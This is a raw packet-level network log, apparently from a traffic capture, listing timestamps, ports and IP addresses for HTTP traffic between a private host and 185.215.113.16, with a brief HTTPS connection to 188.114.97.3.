Oct 31, 2024 05:07:21.225990057 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.226016998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.268481016 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.268496990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.268512964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.268527985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.268537998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.268585920 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270442963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270457983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270473003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270483017 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270488977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270504951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270517111 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270520926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270544052 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270560026 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270649910 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270663977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270682096 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270690918 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270698071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270698071 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270721912 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270729065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270827055 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270868063 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270893097 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270908117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270924091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.270931959 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270955086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.270955086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271068096 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271090031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271105051 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271106005 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271122932 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271130085 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271141052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271146059 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271166086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271189928 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271368980 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271413088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271439075 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271473885 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271475077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271492004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271508932 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271518946 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271524906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271539927 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271539927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271539927 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271557093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271564007 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271574020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271588087 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271588087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271609068 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271629095 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271903992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271919966 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271939993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271946907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271958113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271969080 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271974087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271987915 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.271990061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.271996021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.272013903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.272039890 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301589012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301601887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301618099 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301635027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301809072 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301809072 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301875114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301889896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301907063 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301918030 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301923037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301938057 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301939964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301951885 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301970005 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.301983118 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.301997900 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302014112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302021980 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302028894 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302052021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302062988 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302201986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302217960 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302241087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302243948 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302258015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302267075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302274942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302287102 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302290916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302309036 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302315950 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302319050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302335978 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302345037 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302354097 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302364111 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302371025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302386045 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302386999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302395105 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302417040 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302436113 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302872896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302889109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302905083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.302913904 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302926064 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302949905 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.302984953 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.303000927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.303016901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.303031921 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.303040028 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.303041935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.303059101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.303064108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.303073883 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.303092957 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.345084906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.345101118 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.345114946 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.345134020 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.345161915 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.387449026 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.387465954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.387489080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.387506008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.387521029 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.387536049 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.387571096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.387608051 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.389406919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.389420033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.389436007 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.389477015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.389503002 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.389506102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.389523029 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.389550924 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.389566898 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.420696974 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420715094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420753956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420768976 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420769930 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.420792103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420797110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.420809031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420835972 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.420857906 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.420964003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420979977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.420996904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421005011 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421016932 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421036005 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421112061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421128035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421144962 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421150923 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421160936 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421170950 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421185017 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421199083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421336889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421369076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421382904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421386003 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421397924 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421399117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421415091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421421051 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421427965 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421449900 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421648979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421673059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421685934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421689034 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421705961 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421709061 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421721935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421736956 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421736956 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421761990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421901941 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421917915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421935081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.421938896 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421952963 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421974897 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.421988964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422004938 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422019958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422028065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422044992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422044992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422054052 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422068119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422082901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422090054 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422099113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422110081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422117949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422142029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422509909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422549963 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422599077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422614098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422631025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422636986 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422646999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422646999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422665119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422667980 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422681093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422682047 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422703028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422707081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422707081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422718048 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422734022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422739983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422749996 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422755003 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422763109 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422766924 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422784090 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.422785997 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422806025 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.422820091 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423336983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423352957 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423377037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423379898 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423393011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423402071 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423402071 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423413038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423429012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423432112 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423444033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423463106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423487902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423504114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423520088 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423521996 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423536062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423541069 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423554897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.423561096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423573017 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.423593044 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.425622940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.425637960 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.425652981 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.425668955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.425683022 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.425703049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.425704002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.425720930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.425738096 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.425745010 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.425754070 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.425776958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.464132071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.464160919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.464175940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.464179039 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.464193106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.464212894 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.470294952 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:21.470376968 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:21.470462084 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:21.470747948 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:21.470782995 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:21.506566048 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506581068 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506594896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506618023 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506633043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506642103 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.506649017 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506664991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.506685019 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.506706953 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540750027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540766001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540792942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540807962 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540822983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540832043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540837049 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540854931 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540867090 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540887117 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540903091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540918112 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540919065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540942907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540945053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540961027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540966034 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540977001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.540985107 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.540994883 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541023970 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541024923 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541039944 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541048050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541055918 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541064024 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541091919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541112900 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541115999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541167974 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541374922 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541389942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541414022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541426897 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541429043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541445971 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541452885 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541460991 CET	80	49851	185.215.113.16	192.168.2.4
